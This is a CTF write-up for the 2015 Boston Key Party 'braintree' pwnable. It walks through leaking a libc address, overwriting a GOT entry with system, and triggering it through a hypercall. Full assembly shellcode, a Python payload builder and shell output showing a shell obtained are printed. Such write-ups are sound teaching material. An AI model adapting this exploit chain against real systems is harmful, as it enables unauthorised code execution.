[bkpCTF-2015] braintree (tz) write-up
This is a write-up for braintree challenge, which is the last part of 3-chained pwnable challenge from Boston Key Party CTF last weekend. You can read about the other parts here: quincy-center, quincy-adams.
The binaries were packaged into a tar ball.
The MBTA wrote a cool system. It’s pretty bad though, sometimes the commands work, sometimes they don’t…
Exploit it. (tz flag) 54.165.91.92 8899
The goal is to get “tz” flag by exploiting the kernel space process.
If you haven’t read the previous write-up for quincy-adams, I strongly recommend you to read before continuing with this one as we will assume knowledge gained from it.
As it was mentioned previously, we will be using the same primitive: hypercall #92.
Therefore, we have an arbitrary-write-anywhere primitive. So, the question is “what can we overwrite in tz that will get us an arbitrary code execution?”
We started looking at each of the hypercall handlers in tz.
Then, we stumbled upon hypercall #85.
This function seemed like some sort of cleanup (we called it delete_op in our shellcode) function for an object used in tz.
(As I said previously, we didn’t do much of reversing on tz as we did for uspace and kspace)
It seems like the first argument (v3) is a word that represents id of some sort, but the important thing is that we can control its value. v2 is an offset to the tz data structure, and the value at tz_space + v2 (where v2 is 0) is 0.
Since NX is enabled on tz, we decided to overwrite the GOT entry to execute system. Since the addresses are randomized, we first need to leak an address to calculate the address of system. We are going to abuse the hypercall #92 to do 3 things:
- Leak out libc address, so we can calculate the address of system.
- Overwrite free (.got.plt in tz) with &system.
- Overwrite contents in v4 + 8 (aka, tz_space + 8) with a pointer to our command buffer.
However, doing all of these comes with a price. The size limit (256 bytes) starts to become an issue here. We can either put another stager in the middle to allow us more space, or optimize our payload such that it fits under 256 bytes! We chose to do latter :P
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[BITS 64] section .text global _start _start: ; yay we are in kernel!!! ; optimizing for size... mov ebp, 0x8 ; leak out &getpwnam mov eax, 0x402380 ; do_encrypt mov edi, 0x602290 ; src (getpwnam .got.plt in tz) mov rsi, [rel dst] ; dst (kernel_space + 128) mov edx, ebp ; size call rax call sleep ; update the address (to be &system) and ; xor the address back with the key mov rcx, [rel dst] mov rax, [rcx] xor rax, [rel xor_key] sub rax, 0x79340 ; &getpwnam - &system (this may be different depending on libc) xor rax, [rel xor_key] mov [rcx], rax ; overwrite free GOT mov eax, 0x402380 ; do_encrypt mov rdi, [rel dst] ; src (kernel_space + 128) mov esi, 0x602230 ; dst (free .got.plt in tz) mov edx, ebp ; size call rax call sleep mov rax, [rel command] ; encrypt our command pointer xor rax, [rel xor_key] push rax ; overwrite [fake_obj + 8] with cmd pointer mov eax, 0x402380 ; do_encrypt mov rdi, rsp mov rsi, [rel fake] mov edx, ebp ; size call rax call sleep ; setting command to 'sh' mov rcx, [rel command] mov dword [rcx], 0x6873 ; hypercall to trigger free ; sem_lock mov ebp, [0x60338C] ; semaphore mov edi, ebp xor esi, esi mov eax, 0x4015D0 call rax xor rcx, rcx mov rax, [0x603360] ; kernel_space mov dword [rax], 85 ; delete_op hypercall mov [rax + 8], rcx ; 0 lea rdx, [rax + 48] ; rax + 48 points to args mov [rax + 16], rdx mov word [rax + 48], 0 ; id ; sem_unlock mov edi, ebp xor esi, esi mov eax, 0x401600 call rax call sleep sleep: ; sleep(1) mov eax, 0x400D00 xor edi, edi inc edi jmp rax dst: dq 0x900000080 ; scratch pad in kernel_space fake: dq 0x100000008 ; tz_space + 8 xor_key: dq 0x7473656c72616863 command: dq 0x900001000 ; we will put our command here |
At first, we were over ~10 bytes, but once we have “optimized” a little bit, we finally got our payload to be 254 bytes!
Note that we are not using the same shell.asm as before (our new payload is now called shell.asm). However, we can continue to use the same stage1.asm and the python script from kspace exploit. For convenience sake, it is also attached here.
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#!/usr/bin/python import struct def p(v): return struct.pack('<Q', v) def u(v): return struct.unpack('<Q', v)[0] f = open('payload', 'wb') f.write('create lol\n'.ljust(0x400, '#')) f.write(open('shell.bin').read().ljust(0x100, '\0')) pop_pop_ret = 0x40110F stage1 = open('stage1.bin').read() f.write('create fmt\n'.ljust(0x400, '#')) payload = '%280x' + p(pop_pop_ret) f.write(payload.ljust(0x100, '\0')) f.write(('cat fmt ' + stage1 + '\n').ljust(0x400, '#')) |
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$ nasm shell.asm -f bin -o shell.bin $ ls -l shell.bin -rw-rw-r-- 1 user user 254 Mar 4 21:58 shell.bin $ nasm stage1.asm -f bin -o stage1.bin $ python pwn_tz.py $ (cat ../tz/payload; cat -) | sudo ./tz bksh> bksh> bksh> whoami tz |
We have abused the hypercall #92 (encrypt) to exploit both kspace and tz, but there may be another way to exploit kspace without going through the hypervisor.
Well, that’s it for the 3-parts pwnable challenge write-up =)
Thank you for reading, and happy hacking!
This was so much helpful. Thank you very much.
Don’t know how I missed this for so long ! Great writeup :)